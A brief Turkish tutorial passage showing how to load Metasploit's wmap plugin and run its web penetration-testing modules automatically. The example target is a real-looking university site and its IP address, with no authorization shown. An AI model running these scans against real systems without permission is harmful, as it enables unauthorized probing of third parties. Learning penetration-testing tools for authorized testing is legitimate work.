wmap metasploit icerisindeki web penetrasyon testlerinde kullanilabilecek
auxiliary'leri hedef siteye deneyen bir plugin'dir. Asagida wmap moddullerinin hedef
siteye nasil otomatize bir sekilde uygulandigi gésterilmektedir:

msf > load wmap

msf > wmap_sites -a http://www.karabuk.edu.tr

msf > wmap_sites -I // Outputs 193.140.9.6
msf > wmap_targets -t http://193.140.9.6

msf > wmap_run -e
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